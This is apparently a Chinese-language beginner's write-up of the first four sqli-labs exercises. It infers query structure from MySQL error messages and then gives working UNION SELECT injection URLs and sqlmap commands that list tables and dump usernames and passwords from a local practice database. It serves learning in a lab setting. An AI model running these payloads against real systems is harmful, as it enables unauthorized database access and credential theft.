SQL注入的基本学习
在师傅的帮助下的我 正在 慢慢的入web 的门 话说 web 是真的容易入门啊·~~~~~~ 估计是后边难一些吧
然后 搭建了一个 sql-lab的靶场 做了前四个 然后总结一下 ~~~
前四个 都是get 下的注入利用 然后可以根据返回 的报错类型 来知道这个注入类型
比如第一个
我们在后面输入 ?id=1' 就会报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '1'' LIMIT 0,1 ' at line 1(这里报错的 引号我特地分开了 下面的我就不分开了 )
主要是 '1' ' LIMIT 0,1 这里 后面有一个 '
在这里我们就可以大胆的判断 sql 语句 是
select name,password from admin where id='id' limit 0,1
然后第二个 也是输入同样的 然后报错信息是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
这个应该会很好理解 莫名其妙多了一个‘
select name,password from admin where id=id limit 0,1
说明id 就是数字类型的
第三个 报错信息是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
这个可以看的出来 只是比第一个 多了 ()
select name,password from admin where id=('id') limit 0,1
后面 加入 ?id=1') --+ 发现 页面正常 就发现了我们的正确 这里-- 是注释 后面需要空格
空格被浏览器转换成+号然后传输给服务器,可以认为空格和+为等效字符
第四个 就比较厉害了 输入‘ 并没有什么用 我们在 查询的时候可以 用单引号 双引号 括号 还有 \来查询 这里用\ 或者 双引号都能够完成 报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1
那么
我们可以猜测 sql 语句是
select name,password from admin where id=(“id”) limit 0,1
然后 我们 就可以 用第一个 来手工注入一下
之后再用sqlmap 跑一边
我们 先用order by
如图 3 可以显示 而4 不可以 证明 字段有三个 那么
我们就可以联合查询了
UNION SELECT 但是要让前面的报错 查找不出来 才会显示后面的结果
select后面几个数字的意思,1,2,3,4...,这里的几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表 那么 假如 出现的结果是 name:2 password : 3 就代表 第二个字段是 name 第三个字段是 password
然后再去寻找 表名
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=0' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
然后再去寻找 字段名
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=0' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
然后 再去 联合查询 去寻找字段值
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=0' UNION SELECT 1,group_concat(username,0x3a,password),3 from users --+
其中 0x3a 是 : 的asicc值
这样 手工注入就完成了 但是手工注入 过于繁琐 那么就有了sqlmap 这个工具
我直接 就说命令行指令了
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs --batch
得到结果
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security --tables --batch
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security -T users --columns --batch
py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump --batch
ok ! 收工~~~